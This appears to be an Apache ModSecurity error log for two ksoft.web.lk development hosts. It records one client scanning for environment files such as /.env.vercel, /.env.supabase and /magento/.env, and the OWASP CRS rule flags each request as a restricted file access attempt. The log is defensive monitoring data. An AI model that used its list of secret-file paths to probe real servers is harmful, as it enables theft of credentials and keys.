[Fri Jul 17 09:14:38.864560 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJroj0IkvhSCYadmE1wAAAAQ"]
[Fri Jul 17 09:14:38.950134 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.fly"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.fly"] [unique_id "almlJkkXT4NBqALj2lZ_7QAAABA"]
[Fri Jul 17 09:14:38.950411 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.fly"] [unique_id "almlJkkXT4NBqALj2lZ_7QAAABA"]
[Fri Jul 17 09:14:38.950721 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJkkXT4NBqALj2lZ_7QAAABA"]
[Fri Jul 17 09:14:39.032919 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/drupal/.env"] [unique_id "almlJ0gVnBK6wAv37w6vvQAAABQ"]
[Fri Jul 17 09:14:39.034119 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/drupal/.env"] [unique_id "almlJ0gVnBK6wAv37w6vvQAAABQ"]
[Fri Jul 17 09:14:39.126123 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.railway"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.railway"] [unique_id "almlJ4e39YUk0SgV8AU9TQAAABE"]
[Fri Jul 17 09:14:39.126409 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.railway"] [unique_id "almlJ4e39YUk0SgV8AU9TQAAABE"]
[Fri Jul 17 09:14:39.126708 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJ4e39YUk0SgV8AU9TQAAABE"]
[Fri Jul 17 09:14:39.245742 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJ0gVnBK6wAv37w6vvQAAABQ"]
[Fri Jul 17 09:14:39.293364 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.render"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.render"] [unique_id "almlJ_wooI4qY7Jg93pYrAAAABM"]
[Fri Jul 17 09:14:39.293648 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.render"] [unique_id "almlJ_wooI4qY7Jg93pYrAAAABM"]
[Fri Jul 17 09:14:39.293929 2026] [security2:error] [pid 2030955:tid 2030955] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJ_wooI4qY7Jg93pYrAAAABM"]
[Fri Jul 17 09:14:39.414688 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /joomla/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/joomla/.env"] [unique_id "almlJ7oj0IkvhSCYadmE2AAAAAQ"]
[Fri Jul 17 09:14:39.415921 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/joomla/.env"] [unique_id "almlJ7oj0IkvhSCYadmE2AAAAAQ"]
[Fri Jul 17 09:14:39.460532 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vercel"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.vercel"] [unique_id "almlJzsMb3am0TgkjETd9wAAAAo"]
[Fri Jul 17 09:14:39.460832 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.vercel"] [unique_id "almlJzsMb3am0TgkjETd9wAAAAo"]
[Fri Jul 17 09:14:39.461124 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJzsMb3am0TgkjETd9wAAAAo"]
[Fri Jul 17 09:14:39.627368 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.supabase"] [unique_id "almlJyRF0UOO1RzB5_8xVgAAAA4"]
[Fri Jul 17 09:14:39.627646 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.supabase"] [unique_id "almlJyRF0UOO1RzB5_8xVgAAAA4"]
[Fri Jul 17 09:14:39.627894 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJyRF0UOO1RzB5_8xVgAAAA4"]
[Fri Jul 17 09:14:39.644312 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJ7oj0IkvhSCYadmE2AAAAAQ"]
[Fri Jul 17 09:14:39.796547 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.neon"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.neon"] [unique_id "almlJ11_86A5R6msWNfXgwAAABI"]
[Fri Jul 17 09:14:39.796832 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.neon"] [unique_id "almlJ11_86A5R6msWNfXgwAAABI"]
[Fri Jul 17 09:14:39.797112 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJ11_86A5R6msWNfXgwAAABI"]
[Fri Jul 17 09:14:39.812672 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /magento/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/magento/.env"] [unique_id "almlJ0gVnBK6wAv37w6vvgAAABQ"]
[Fri Jul 17 09:14:39.813919 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/magento/.env"] [unique_id "almlJ0gVnBK6wAv37w6vvgAAABQ"]
[Fri Jul 17 09:14:39.993655 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJ0gVnBK6wAv37w6vvgAAABQ"]
[Fri Jul 17 09:14:40.161955 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shopify/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shopify/.env"] [unique_id "almlKARRrtuZqNDDSqWzSwAAABo"]
[Fri Jul 17 09:14:40.163173 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/shopify/.env"] [unique_id "almlKARRrtuZqNDDSqWzSwAAABo"]
[Fri Jul 17 09:14:40.329819 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:40.375718 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKARRrtuZqNDDSqWzSwAAABo"]
[Fri Jul 17 09:14:40.543759 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/prestashop/.env"] [unique_id "almlKDsMb3am0TgkjETd-QAAAAo"]
[Fri Jul 17 09:14:40.548776 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/prestashop/.env"] [unique_id "almlKDsMb3am0TgkjETd-QAAAAo"]
[Fri Jul 17 09:14:40.753369 2026] [security2:error] [pid 2028246:tid 2028246] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKDsMb3am0TgkjETd-QAAAAo"]
[Fri Jul 17 09:14:40.922039 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /codeigniter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/codeigniter/.env"] [unique_id "almlKFCBpfuYyhJ140vV3gAAAB4"]
[Fri Jul 17 09:14:40.923229 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/codeigniter/.env"] [unique_id "almlKFCBpfuYyhJ140vV3gAAAB4"]
[Fri Jul 17 09:14:41.149000 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlKFCBpfuYyhJ140vV3gAAAB4"]
[Fri Jul 17 09:14:41.317168 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cakephp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cakephp/.env"] [unique_id "almlKYe39YUk0SgV8AU9UQAAABE"]
[Fri Jul 17 09:14:41.318385 2026] [security2:error] [pid 2030804:tid 2030804] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cakephp/.env"] [unique_id "almlKYe39YUk0SgV8AU9UQAAABE"]
